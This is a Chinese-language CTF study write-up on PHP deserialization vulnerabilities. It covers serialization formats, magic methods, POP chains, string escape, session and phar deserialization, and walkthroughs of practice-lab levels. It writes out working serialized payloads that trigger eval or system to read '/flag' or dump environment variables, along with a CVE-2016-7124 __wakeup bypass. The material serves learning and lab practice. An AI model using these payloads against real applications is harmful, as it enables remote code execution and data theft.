第七章-PHP反序列化
飞书链接:https://icnewi51k2yp.feishu.cn/wiki/Tcjmwc5RAigdUUk2ZmSc8rfan1c?from=from_copylink
[Week7.1]php 反序列化绪论
在 Web 安全与 CTF 竞赛中,PHP 反序列化漏洞始终是高频且核心的考点—— 它不像文件上传漏洞那样 “直观可见”,却常隐藏在代码逻辑深处,成为突破服务器权限的关键入口。本章我们将围绕这一知识点展开系统学习。
注:反序列化靶场在本节作为例题出现过的,本章实验就不会再出现了
PHP 类与对象
类和对象也是我们下学期专业课上关于面向对象学习的内容,因此不局限于 CTFweb 知识,再认真学习一些细节
反序列化的漏洞围绕 “对象” 展开,先搞懂 PHP 中 “类” 和 “对象” 的基本用法.
什么是 “类”?—— 对象的 “模板”
类是用 class 定义的 “蓝图”,包含属性(变量,比如 “姓名”“年龄”)和方法(函数,比如 “说话”“做事”),举个最简单的例子:

- 理解:
class User就像一个 “用户模板”,规定了 “用户” 应该有 “名字、年龄” 这些属性,以及 “打招呼” 这个行为。
什么是 “对象”?—— 类的 “实例”
对象是用 new 关键字创建的 “具体个体”,从 “模板” 生成的 “实际存在的东西”,比如:

- 关键:每个对象都有自己的属性值,但方法(行为)和类保持一致 —— 就像 “小明”“小红” 都是 “User 类” 的对象,但名字、年龄不同,都能 “打招呼”。
知识点核心
- 类是 “模板”,对象是 “模板造出来的具体东西”;
- 操作对象时,用
->访问属性 / 方法(比如$obj->属性名、$obj->方法名())。
下面我们将用几个反序列化靶场的关卡,巩固一下类和对象相关知识
*[反序列化靶场]Level1-类的实例化
先读代码,我们要把 FLAG 类进行实例化,因为 $_POST['code'] 获取的是 HTTP 请求中传递的「文本数据」,PHP 会默认把它解析为字符串类型(哪怕你传的是数字、代码,本质也是字符串)
所以 code 一开始会被赋成一个字符串($_POST(以及 $_GET/$_REQUEST)返回的永远是字符串(或数组)),我们需要用后面的 eval 函数来执行 php 代码(而非 lunix 代码,lunix 代码不能用 eval 执行),从而创建一个 FLAG 类对象.
我们 post:code=new FLAG(); 注意这是一行命令,所以末尾要加分号
eval 函数随即执行此条命令,FLAG 类的新对象被创建.
但在这里要注意的是,新创建的对象是匿名对象(会立即被销毁,触发析构函数,但也会触发构造函数 construct),而非名为 code,code 只作为命令被执行.
读代码,每个对象的 flag 属性是相同的,触发构造函数时,这个相同的属性就会被打印,这就是 flag


拓展:给变量命名的情况
如果我们给这个变量命名,还能拿到 flag 吗?
显然是可以的 因为拿 flag 的关键是构造函数的触发
注,这里输入的 code=$obj=new FLAG();”$obj=new FLAG()“会以纯文本形式被 PHP 接收,而不会被当做赋值运算符的运算表达式从右到左执行,为 code 直接赋对象 FLAG(__$code__始终是字符串,不是对象)

*[反序列化靶场]Level2-值的传递
读代码,这里是最终打印对象 target 的属性 free_flag.

这里需要给 target 中的 free_flag 赋值成$flag_string的值,让它打印$flag_string 即可

*[反序列化靶场]Level3-值的权限
先来了解下值的权限

何为“子类能访问”?
一创建一个类的子类,它就具有父类除 private 以外的全部成员变量和成员函数,“访问” 就是「读取 / 修改 / 调用」。
对于 public,我们可以在类的大括号外用”类变量名-> 成员变量名”随便访问,输类变量名-> 成员变量名即可。
对于 protected,在类外即主函数部分,我们不得不先在类内创建成员函数,通过成员函数中的”类变量名-> 成员变量名”加上外部对本成员函数的调用实现间接性的访问,而在类内(尤其是创建成员函数)则直接用”类变量名-> 成员变量名”访问即可。
对于 private,则既需要用 protected 的方法访问成员,还要求访问的就是本类的成员而非父类的成员(因为子类根本不继承父类的成员变量和成员函数)
阅读本题(从第 58 行开始是网页回显),我们发现 flag 被拆成了三份,分别是 public,protected,private 级别的对象.
**注:类的成员函数(方法)如果不显式声明修饰符(public/protected/private),默认就是 **public
1 |
|
看网页回显,在我们不为 code 赋值时,可以直接用箭头访问的只有 public 变量,且题中有一个 FLAG 的子类 SubFLAG
这里子类是可以随便调用父类函数的,全是 public,在外部都可以
则能输出 public_flag 的方法:
$target->public_flag
$sub_target->public_flag
能输出 Protected Flag 的方法:
$target->get_protected_flag()
$sub_target->get_protected_flag() //这里是调用了父类的成员函数
$sub_target->show_protected_flag()
能输出 Privated flag 的方法:
$target->get_private_flag()
$sub_target->get_private_flag()
$sub_target->show_private_flag()是绝对不行的,因为函数内部就出现了问题,即使在类内也不能调用父类的 privated 变量
拓展:父子类和嵌套类的区别
- 父类与子类是「继承关系」:子类是父类的 “一种”,能继承和扩展父类的功能;
- 类中类是「包含关系」:内部类是外部类的 “一个组件”,嵌套类不会因为写在外部类里,就自动成为外部类的子类,只是代码嵌套;
序列化与反序列化
PHP 中 “对象” 不能直接存储(比如存文件)或传输(比如传给其他页面),于是有了 “序列化” 和 “反序列化”—— 本质是 “对象的格式转换工具”。
serialize():接收任意 PHP 数据(对象 / 数组 / 字符串等),返回固定格式的序列化字符串;
unserialize():接收合法序列化字符串,返回对应的原始数据类型(对象 / 数组 / 字符串等);若字符串格式非法,返回 false。
序列化(serialize () 函数–对象 → 字符串
把 “对象” 转换成一串特殊格式的字符串,方便存储 / 传输,用法:

输出结果(格式化后方便看):

字符串含义(记熟这个格式,后续构造 payload 要用):(这里要注意中文是 1 字 3 字符)

序列化字符串中,{} 包裹的属性区域,永远遵循「属性名定义 → 属性值定义」的成对逻辑,不管有多少个属性,都是这个循环:

反序列化(unserialize () 函数):字符串 → 对象
把 “序列化字符串” 还原成原来的对象,用法:

- 关键:反序列化会完整还原对象的 “属性值” 和 “类关联”—— 只要字符串格式正确,就能还原出和原来一样的对象,这也是漏洞的关键(攻击者可构造恶意字符串,还原出含危险属性的对象)。
一句话总结
序列化是 “对象变字符串”(存 / 传),反序列化是 “字符串变对象”(用),二者是 PHP 中对象 “存储 - 传输 - 复用” 的核心机制。
反序列化存在的漏洞
先明确:序列化和反序列化本身不是漏洞,漏洞的根源是 “两个条件的叠加”:
- 反序列化的输入可控:
unserialize()的参数(序列化字符串)是攻击者能修改的(比如通过 GET/POST 传参,如unserialize($_GET['data'])); - 代码中存在 “危险魔术方法”:反序列化过程中会自动触发某些 “魔术方法”,如果这些方法里有
eval()、file_get_contents()、system()等危险函数,攻击者就能通过构造字符串触发这些函数,实现恶意操作。

- 攻击者只要构造含
$cmd="ls"(或其他命令)的序列化字符串,传给data参数,反序列化后触发__destruct(),就能执行ls命令 —— 这就是最基础的反序列化漏洞利用。
数组的反序列化

上面对数组的反序列化会输出:

在上面反序列化中的字符中,每个部分代表不同的属性:

以此类推
普通对象的反序列化
序列化字符串中,_{} 包裹的_属性区域,永远遵循「属性名定义 → 属性值定义」的成对逻辑,不管有多少个属性,都是这个循环:
先来复习一下格式

此时我们如果采用数组为姓名变量:
1 | $user = new User(array("Probius","Official")); |
则再次运行,输出就变成了:
1 | O:4:"User":1:{s:4:"name";a:2:{i:0;s:7:"Probius";i:1;s:8:"Official";}} |

我们针对上面的代码,添加点类中的其他属性,如:保护变量 私有变量 自定义函数

其输出为:
1 | O:4:"User":3:{ |
观察不同类型变量名的字符长度标识,你会发现长度和你看到的好像有些不一样,那是因为在 protected 和 private 类型的变量中都加入了不可见字符:
如果是 protected 变量,则会在变量名前加上 \x00*\x00
如果是 private 变量,则会在变量名前加上 \x00类名

1 | O:4:"User":3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}---------- public$name; |
echo urlencode($serializedData) :
输出 O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A3%3A%22tan%22%3Bi%3A1%3Bs%3A2%3A%22ji%22%3B%7D————————————————————– public $name;
s%3A8%3A%22%00%2A%00email%22%3Bs%3A17%3A%22admin%40probius.xyz%22%3B——- protected $email;
s%3A17%3A%22%00User%00phoneNumber%22%3Bs%3A11%3A%2219191145148%22%3B%7D—- private $phoneNumber;
自定义类的反序列化
如果我们把上面的类改成这样:
1 | <?php |
在 User 类中,通过 class User implements Serializable 中的 Serializable 接口,我们可以定义 serialize() 和 unserialize() 两个方法,实现控制类实例在序列化和反序列化过程中的行为。
这两个方法分别负责将类实例的属性序列化为字符串和从字符串中还原属性。
当我们使用全局的 serialize() 和 unserialize() 函数时,这些方法会自动调用,从而让我们更好地控制序列化和反序列化过程。这也是该类型的类叫做 “CustomObject” 的原因。
即
implements Serializable= 告诉 PHP:这个类的打包 / 拆包我自己说了算;serialize()= 定义 “怎么打包”,unserialize()= 定义 “怎么拆包”;这两个方法里的逻辑,本质就是 “把属性装进数组 / 从数组拿出来”,和普通的赋值没区别。
当我们运行上面的程序时,控制台输出如下:
1 | C:4:"User":125:{a:3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}s:5:"email";s:17:"admin@probius.xyz";s:11:"phoneNumber";s:11:"19191145148";}} ---------------------------------------------------- echo $serializedData . "\n"; |
其格式大致为:C:<className length>:"<class name>":<data length>:{<data>}
即

其他标识
[Week7.2]魔术方法和基础漏洞举例
注:反序列化靶场在本节作为例题出现过的,本章实验就不会再出现了
魔术方法
在 PHP 的序列化中,魔术方法(Magic Methods)是一组特殊的方法,这些方法以双下划线(__)作为前缀,可以在特定的序列化阶段触发从而使开发者能够进一步的控制 序列化 / 反序列化 的过程。
一般在题目中常见的几个方法如下:
1 | __wakeup() //------ 执行unserialize()时,先会调用这个函数 |
一份比较全面的表格:
PHP 官方文档已经很详细了,这里不再赘述,不一定需要学会所有的函数,除开常见的,其他的在遇到的时候查阅即可。
魔术方法展开说明
__construct()
PHP 允许开发者在一个类中定义一个方法作为 ** 构造函数 **(__construct)。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作
1 |
|
他将输出
1 | A: 我是 |
__destruct()
PHP 有 ** 析构函数 **(__destruct)的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
1 |
|
这将输出
1 | A: 我是 |
在这里相当于在程序执行至 28 行时,添一行 29 行,执行析构函数
1 | 29: // 销毁$a对应的Example对象,触发__destruct() |
__wakeup()
当使用 unserialize 时先被调用,可用于做些对象的初始化操作(unserialize 触发)
继续修改上面的代码,我们添加一个 __wakeup() 方法
1 | public function __wakeup(){// 实际开发别这样写 exec($this->oneFive);} |
如果我们没有对 __construct 中的 $oneFive 变量做过滤的话,unserialize 在执行完后时会自动调用 __wakeup() 的,所以 __wakeup() 一般在赛场上做过滤(可以绕过),实际开发应该用于对象反序列化后对其状态进行恢复

接下来我们在 __wakeup() 里加入一些过滤方法,来看看怎么利用 __wakeup() 函数失效来绕过这个函数
1 | class DingZhen |
将序列化后的数据的参数数量 +1 即可

加了 1 后,正常运行

__sleep()
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。(serialize)
注意:__sleep() 只能返回数组
1 |
|
__destruct()
__destruct 函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
1 |
|
脚本执行到末尾,程序结束,在本作用域的生命周期结束,被 PHP 自动销毁,触发 __destruct(),输出 Done!。

注意:用__unset()主动释放变量,或__变量被覆盖(失去对原对象的引用),对象也立即被销毁
其中:__“变量被覆盖” _是指变量指向的对象 / 数据类型发生改变_(比如从 “对象” 变成 “整数”),而 “变量内部属性赋值” 只是修改对象的内容,变量仍然引用原对象,不会触发销毁。

__toString()
方法用于一个类被当成字符串时应怎样回应。例如
echo $obj;应该显示些什么。
1 |
|

注意 phpinfo()函数是你在执行 phpinfo()函数时作为执行结果显示在第一行的,实际上只执行了一次 echo 输出
__invoke()
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
1 |
|
直接执行 phpinfo(),函数自己会输出

__call() 和 __callStatic()
在对象中调用一个不可访问方法时,__call() 会被调用。
在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
1 |
|
不可访问方法:包括「方法不存在」(类里没定义)、「方法权限不够」(比如 private 方法被外部调用);
静态上下文:调用方法时用__类名::方法名()__,或方法被__static__修饰。
静态方法__能够不用以已有对象为根基,直接调用(类名::函数名)即可
属性重载
- 在给不可访问(protected 或 private)或不存在的属性赋值时,__set() 会被调用。
- 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。
- 当对不可访问(protected 或 private)或不存在的属性调用 isset() 或 empty() 时,__isset() 会被调用。
- 当对不可访问(protected 或 private)或不存在的属性调用 unset() 时,__unset() 会被调用。
基础漏洞举例
*[反序列化靶场]Level4-初体验
「嗯!?全是私有,怎么获取 flag 呢?试试序列化! 」
读题,类 flag 里面有一个 string 一个 number 和一个嵌套类 object
全是私有,但我们想要得到 flag,必然要清楚这些值是什么
那么还有一种访问变量的方式,就是将其序列化

我们用 post 提交 code=echo serialize($flag_is_here); 返回了这么一大串

大概可以读明白 flag1 到 3,3 还是个数组,一共是四个碎片,把他拼接成 flag 即可
flag{ser4l1ze2se3me}
第七周的任务至此完成了一半,进度还差大部队半周左右,在慢慢跟上…
[Week7.3]反序列化漏洞利用
注:反序列化靶场在本节作为例题出现过的,本章实验就不会再出现了
POP 链构造
POP 链概论
前两节所学可能出现的漏洞,都是基于 “ 自动调用 “ 的 magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过 “ 自动调用 “ 来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的 payload。
这时候就得换个思路:去代码里找有没有函数名一样的方法,把藏着危险代码的普通方法和其他类(尤其是有魔术方法的类)给串起来。( 在所有类的代码里,找名称完全相同的方法(比如 A 类有exec(),B 类也有exec()),用这个 “同名方法” 当桥梁,把不同类串起来触发危险代码。)一般做代码审计的时候,我们都会重点盯着这些危险代码,一层一层往上找能触发它的方法,最后拼出一个能真正搞事情的 payload。
使用大写 S 支持字符串编码
PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写 S 表示字符串,此时这个字符串就支持将后面的字符串用 16 进制表示,使用如下形式即可绕过,即:
s:4:"user"; -> S:4:"use\72";
浅拷贝
在 php 中如果我们使用 & 对变量 A 的值指向变量 B,这个时候是属于浅拷贝,当变量 B 改变时,变量 A 也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。

构造举例
假设审计时看到以下代码(这是靶场常见的 POP 链场景):
1 |
|
我们的目标:构造一个 payload,让 eval($this->cmd)执行我们想要的命令(比如 phpinfo();或 echo file_get_contents(‘/flag’);)
思考一下 ABC 对象三者的 POP 链关系,按步骤操作构造 POP 链
1 | 反序列化payload → 触发A::__wakeup()(自动) |
步骤 1:实例化所有需要的类
先创建 A、B、C 的实例,这是构造 payload 的基础:
1 | // 1. 创建各个类的实例 |
步骤 2:把实例 “串” 起来(核心:属性赋值)
通过给类的公共属性赋值,让不同类的实例产生关联:
1 | // 2. 串链路:A→B→C |
步骤 3:给危险代码传参(告诉代码要执行什么命令)
1 | // 3. 传入恶意命令(比如读flag) |
步骤 4:序列化得到最终 payload

O:1:”A”:1:{s:1:”b”;O:1:”B”:1:{s:1:”c”;O:1:”C”:1:{s:3:”cmd”;s:31:”echo file_get_contents(‘/flag’);”;}}}
我们也可以新建 php 文件,复制各类内容,用 php 脚本构造 payload
1 |
|
*[反序列化靶场]Level15-POP 链前置
先进行读题,这里执行命令的函数在 destnation 中的 action(),且 $c 在最尾部
不难推知 class C 中的成员变量 $c 应该是我们要执行的函数
于是有第一行:
$C3 = new C(“system(‘env’);”);括号中的代表$c 这里尝试了很多指令,只有 env 能够输出
$b指向$c,所以 $b 的本质应该是类 C,因此有第二行:
$C2 = new B($C3);括号中的则代表$b,它在这里为类$C3
$a指向$b,这点同理,$a本质为类B,为$a 赋值时有第三行:
$C1 = new A($C2);
$cmd指向$a,这里变量名叫这个,但是不能填一个指令上去,要依葫芦画瓢
$C5 = new destnation($C1);
最后要想执行这一连串呢,需要 D 的 wakeup 被执行,从而执行 destination 指向的成员变量的 action()函数(思考是谁具有这个函数)
$C4 = new D($C5);
最终被序列化的也是类 D,即 $C4
1 | class A { |
我们复制题目在第一行上方,利用 php 脚本添加这五行加输出的三行,并以序列化形式输出,作为 payload 在靶场中被反序列化
1 | $C3 = new C("system('env');"); |


所以我们可以总结一下,第一行通常是最底层的,输出 flag 的逻辑,再自深入浅构造 POP 链
还可以在实验这一节读读第 16 关的步骤
字符串逃逸
字符串逃逸概论
在 php 中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,例如:
1 |
|
反序列化按照一定的序列化规则,但是有一定的识别范围,在这个范围之外(花括号}之后)的字符都会被忽略,不影响反序列化的正常进行。
比如在 $str 结尾的花括号后增加一些字符:
1 |
|
输出的仍与原来相同
明白了上面的,就再看一个例子
1 |
|

得到的序列化字段为:
a:3:{s:4:”user”;s:24:”flagflagflagflagflagflag”;s:8:”function”;s:59:”a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}
这里如果增加了过滤机制,会将 flag 字段替换为空,那么上面序列化字符串过滤结果为:
a:3{s:4:”user”;s:24:””;s:8:”function”;s:59:”a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}
如果将上面过滤之后的字符串进行反序列化,会不会报错呢?
1 |
|

打印出了过滤前与过滤后的反序列化字符串,对比就可以发现当把 flag 过滤之后,string(24)规定需要 24 个字符,为了满足反序列化的规则,会向后读取字符,直至凑齐 24 个字符,也就是读取”;s:8“function”;s:59:”a,当凑齐 24 个字符后以 “; 结尾。之后[“img”]就按照 string(20)读取 20 个字符,[“dd”]按照 string(1)读取一个字符,剩余的字符就直接被忽略,不影响正常的反序列化过程。
写成数组的形式为:
$_SESSION[“user”]=’”;s:8:”function”;s:59:”a’;
$_SESSION[“img”]=’ZDBnM19mMWFnLnBocA==’;
$_SESSION[“dd”]=’a’;

看完上面的例子,发现本来想读取的内容是$_SESSION[“img”]的值为:L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,string(24)位数不够往后读取,就把$_SESSION[“function”]的值的前 24 位存放在$_SESSION[“user”]中,把$_SESSION[“funcion”]的值的后 20 为存放在$_SESSION[“img”]中,导致ZDBnM19mMWFnLnBocA==代替了$_SESSION[“img”]对应的原本的值。而识别完成后序列化最后面的”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}被忽略掉了,不影响正常的反序列化过程。
即”是字符还是格式符号,是由字符串长度来判断的
可以看到本例中$_SESSION[“img”]对应的值发生了变化。这样的话岂不是可以做到”隔山打牛”,如果我们能够控制原来$_SESSION 数组的 funcion 的值,但无法控制 img 的值,我们就可以通过这种方式间接控制到 img 对应的值。
所以字符串逃逸,本质上是利用过滤机制修改结构
字符串减少强化
假如过滤了 system()替换成空格,实例 A 的成员数被限定为了两个,我们要利用字符串逃逸新建一个成员 v3,而实例原有成员 v1v2
则可以使用本方式利用字符串减少来逃逸

实战中我们必须思考题目中给我们真正可以修改的地方,并对其进行有效地注入
字符串增多强化
假如 ls 替换成了 pwd,我们可以利用


笼统点理解,就是字符串增多是利用增多提前结束,真正执行的是第一个大括号内部的,外部为迎合格式;
字符串减少是利用减少延迟结束,真正执行的是第一个大括号外部的,内部为迎合格式
对于字符串增多 我们举一个例子:
*[SQCTF]逃
阅读源码,这里要先创建一个序列化字符串,经过过滤,将字符串 flag/php 转化成 stop 再进行反序列化创建对象
并且要求变量 pswd 的值是 escaping,这很明显是字符串增多

也就是说我们真正想要添加的元素是:
s:4:”pswd”;s:8:”escaping”;
那么大致的框架已经出来了:
(其中倒数第一个大括号至倒数第二个大括号只是迎合反序列化的格式,并不是我们真正想要执行的代码)
O:4:”test”:2:{s:4:”user”;s:n*3+29:”n 个 php”;s:4:”pswd”;s:8:”escaping”;}”;s:4:”pswd”;s:8:”escaping”;}
29 则指的是**[“;s:4:”pswd”;s:8:”escaping”;}]的字符串长度**
我们将过滤的过程动态化,就能明白字符串是如何增多的:
如果我们输入一个 php,user 的长度本应该是 3 个字符
过滤前:
O:4:”test”:2:{s:4:”user”;s:31:”php”;s:4:”pswd”;s:8:”escaping”;}”;s:4:”pswd”;s:8:”escaping”;}
过滤后:
O:4:”test”:2:{s:4:”user”;s:31:”stop”;s:4:”pswd”;s:8:”escaping”;}”;s:4:”pswd”;s:8:”escaping”;}
过滤后仍取 31 个字符,只取到绿底大括号的前一个,我们就称这个绿底大括号”逃逸了”
我们继续增加字符串 php 的个数
过滤前:
O:4:”test”:2:{s:4:”user”;s:34:”phpphp”;s:4:”pswd”;s:8:”escaping”;}”;s:4:”pswd”;s:8:”escaping”;}
过滤后:
O:4:”test”:2:{s:4:”user”;s:34:”stopstop”;s:4:”pswd”;s:8:”escaping”;}”;s:4:”pswd”;s:8:”escaping”;}
是不是发现了一个问题,我们每多放进去一个 php,就会有一个字符用 s:34 取不到,如果”n*3+29”在过滤后恰好取到了紫标的双引号之前呢?那第一个大括号之前的字符串不再是引用,而是可以运行的代码了
我们再来看看正确答案:
{s:4:”user”;s:116:”phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp”;s:4:”pswd”;s:8:”escaping”;}”;s:4:”pswd”;s:8:”escaping”;}
实际上黄底加橙底,一共是 116 个字符,初始的序列化必然是合法的
php 全变成 flag 后
{s:4:”user”;s:116:”flag*29”;s:4:”pswd”;s:8:”escaping”;}”;s:4:”pswd”;s:8:”escaping”;}
s:116 恰好是取到了最后一个 flag,不包括最后一个 flag 后面的双引号 “;s:4:”pswd”;s:8:”escaping”;} 这 29 个字符直接逃逸出来了,从而组成了一个新的合法格式

Session 反序列化
当 session_start()被调用或者 php.ini 中 session.auto_start 为 1 时
PHP 代码中的 $_SESSION 可以将变量以特定格式存储到指定目录(默认为/tmp)。
而特定格式与处理器有关,这里着重记前两个

php 处理器:

注意到有 session_start()函数和 $session
我们尝试 get: ?ben=123456
读取特定的文件
则发现变量 ben 就被存储了

php_serialize 处理器:
声明 session 存储格式为 php_serialize,若未声明则默认为上面的 php

尝试 payload:

文件中则会出现序列化后的数组

而当网站序列化并存储($_session=$_get),与反序列化并**读取($_get=$_session)**Session 的方式不同,就可能导致 session 反序列化漏洞的产生。

当一个 php 页面以 php_serialize 方式写入(存储),用 php 方式读取时
如果提交

则存储时是这样:

用 php 形式读取后,就只有管道控制符 | 后面的内容了,是某一个对象的实例.
因此 php_serialize 形式提交,无论如何只会返回一个数组的序列化形式,但如果读取方式是 php,可以利用返回的数组中存在的管道控制符 | 初始化实例或者基本类型变量
注意:
$_session=$_get 存储后如果要执行 wakeup 等读取的函数则自动用$_get=$_session 读取
phar 反序列化
什么是 phar
JAR 是开发 Java 程序一个应用,包括所有的可执行、可访问的文件,都打包进了一个 JAR 文件里
使得部署过程十分简单。
PHAR(“PhpARchive”)是 PHP 里类似于 JAR 的一种打包文件。
对于 PHP5.3 或更高版本,Phar 后缀文件是默认开启支持的,可以直接使用它。
Phar 结构
stub phar 文件标识,格式为 xxx;(头部信息)
manifest 压缩文件的属性等信息,以序列化存储;
contents 压缩文件的内容;
signature 签名,放在文件末尾;
phar 漏洞原理
manifest 压缩文件的属性等信息,以序列化存储;存在一段序列化的字符串;
调用 phar 伪协议,可读取.phar 文件;
Phar 协议解析文件时,会自动触发对 manifest 字段的序列化字符串进行反序列化
而我们也可以修改 manifest 属性
注:Phar 需要 PHP >=5.2 在 php.ini 中将 phar.readonly 设为 Off
Phar 使用条件
phar 文件能上传到服务器端;
phar://接的文件无论是不是.phar,都会按 phar 读取
要有可用反序列化魔术方法作为跳板;
要有文件操作函数,如 file_exists(),fopen(),file_get_contents()来解析文件;
文件操作函数参数可控,且:、/、phar 等特殊字符没有被过滤.

构造有序列化的 phar 文件
本地生成一个 phar 文件,要想使用 Phar 类里的方法,必须将 php.ini 文件中的 phar.readonly 配置项配置为 0 或 Off

PHP 内置 phar 类,其中的一些方法如下:
1 | //实例一个phar对象供后续操作 |
生成 phar 文件的代码如下:
1 | //反序列化payload构造class TestObject { |
运行代码会生成一个 phar.phar 文件在当前目录下,使用 winhex 打开

可以明显的看到 meta-data 是以序列化的形式存储的,有序列化数据必然会有反序列化操作,php 一大部分的文件系统函数在通过 phar://伪协议解析 phar 文件时,都会将 meta-data 进行反序列化
*[Week7.4]实验:php 反序列化实践
反序列化靶场关卡名做了一些更改,更贴合实际
[反序列化靶场]Level1-4 等
[反序列化靶场]Level5-普通值规则
读题先,应该是用字符串的序列化给变量赋值.
1 |
|
我们直接按要求 payload,即得 flag:
自定义 o=O:7:”a_class”:1:{s:7:”a_value”;s:4:”FLAG”;};&
数组 a=a:2:{s:1:”a”;s:3:”Plz”;s:1:”b”;s:7:”Give_M3”;};&
字符串 s=s:5:”IWANT”;&
整型变量 i=i:1;&
布尔值 b=b:1;&
NULLn=N;&
(其中有的分号可以不加,写成这样也能运行通过;最后一个&也可以不加,但全加上保持格式一致便于记忆)
o=O:7:”a_class”:1:{s:7:”a_value”;s:4:”FLAG”;}&
a=a:2:{s:1:”a”;s:3:”Plz”;s:1:”b”;s:7:”Give_M3”;}&
s=s:5:”IWANT”;&
i=i:1;&
b=b:1;&
n=N&

[反序列化靶场]Level6-权限修饰规则
读题,发现本题是用反序列化创建新实例,并给有特殊权限的成员赋值,我们再来复习一下权限修饰
看题
1 |
|
按要求进行 payload:
protected_key=O:12:”protectedKEY”:1:{s:16:”%00*%00protected_key”;s:13:”protected_key”;};&private_key=O:10:”privateKEY”:1:{s:23:”%00privateKEY%00private_key”;s:11:”private_key”;};&
注意\x00 在这不会转化,要用 %00;大括号前的最后一个分号也不能丢!

[反序列化靶场]Level7-利用方法执行命令
先读题,这里应该是要你用反序列化创建一个匿名实例,并调用它的方法
(匿名实例会在调用方法后立即销毁)

这里应该是给类 flag 的成员变量 flag_command 赋一个命令,backdoor()函数会执行这个命令
我们尝试用 system 函数进行 payload,这里还是要注意这几个特别容易错的点
第一个是大括号前最后一个分号不能丢
第二个是 flag_command 作为字符串放在 eval 指令的括号内,最后一定也要加一个分号,否则不是一个完整的可执行语句
cat 命令无果,尝试 tac 运行通过(期间也尝试了别的命令执行函数,发现问题错在 cat 上)


[反序列化靶场]Level8-GC 机制(UNSET 手动销毁)
关于 GC 机制,本题运用到的考点就是已被初始化的对象会在脚本全部执行结束后销毁,读题
这应该是有个 flag 变量,在每次 RELFLAG 类的对象创建时,它重置为 0 再加 1,每次被销毁时也 +1
我们必须让它在 check 函数执行之前达到 5.

法一
思考了一下,程序运行结束后,我们创建的对象才会自动销毁,因为他们又不是匿名的,所以如果只考虑自动销毁 check 函数不得不于析构函数前执行
于是我们使用手动销毁,先同时创建五个变量,再同时销毁五个变量,flag 值自然就达到了 6,因为创建时就加了 1
post 提交:
code=$a=new RELFLAG();$b=new RELFLAG();$c=new RELFLAG();$d=new RELFLAG();$e=new RELFLAG();unset($a);unset($b);unset($c);unset($d);unset($e);
运行通过

法二
这里看了下别人的 payload
code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));
这里要抓住 unserialize 函数 unserialize 本身就可以完成一个匿名对象的创建,且这个函数创建对象时,无论是匿名的,还是非匿名的,一般情况都不会执行构造函数
我们对最底层 new 创建的匿名对象序列化了以后,匿名对象在此处不再被引用(或者说起作用)了,就会立刻消失
而后面几层的 serialize 也同理,unserialize 函数创建的匿名对象被序列化了以后,其不再起作用了,立即消失又继续执行析构函数
而构造函数从始至终只在 new 处执行一次
[反序列化靶场]Level9-析构函数的后门
读题,题目和第七关非常相似,把手动调用的函数 backdoor 更换为了析构函数
还用 var 为成员赋值了(这里 var,public,不写,三种表达同一个意思)
外部的关卡介绍还提示 flag 在环境变量

这里我们反序列化的对象也是匿名对象,创建后立即销毁,我们尝试 payload:
o=O:4:”FLAG”:1:{s:12:”flag_command”;s:11:”echo env;”;}
(输入原因,这里 env 原要被反引号括起来,反引号执行 lunix-env 指令来获取环境变量,由 echo 来回显)
即得旗帜

[反序列化靶场]Level10-__wakeup()
先复习一下__wakeup(),这个函数在使用 unserialize 时先被调用,如果 unserialize 得到的对象有__wakeup()这个成员函数,则在 unserialize 执行以后自动执行这个函数.
拿到题目,这里应该是反序列化得到 FLAG 类的对象以后直接打印 flag 了.
我们按他的要求来,0 个成员变量就写 0,大括号空着,创一个对象
o=O:4:”FLAG”:0:{}

函数执行,运行通过

[反序列化靶场]Level11-CVE-2016-7124(wakeup 漏洞)
CVE-2016-7124 - PHP5 < 5.6.25 / PHP7 < 7.0.10
阅读题目,找到核心信息:
在该漏洞中,当序列化字符串中对象属性(成员变量)的个数大于真实属性(成员变量)的个数时便会跳过__wakeup()的执行。
读代码,在对象摧毁时,flag 变量只要不等于 NULL,那么他们就会被执行
这里 flag 是全局变量,在 include 文件中仍可以被访问,里面可能存在 flag 的真实值

我们尝试构造 payload:
o=O:4:”FLAG”:1:{s:12:”flag_command”;s:11:”echo 123;”;}
让新构造出来的匿名对象内有一个多余的属性,则运行通过

[反序列化靶场]Level12-__sleep()
__sleep()是为序列化服务的.先来复习复习
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。(serialize)
该方法必须返回一个数组: return array(‘属性 1’, ‘属性 2’, ‘属性 3’) / return [‘属性 1’, ‘属性 2’, ‘属性 3’]。
数组中的属性名将决定哪些变量将被序列化,当属性被 static 修饰时,无论有无都无法序列化该属性。
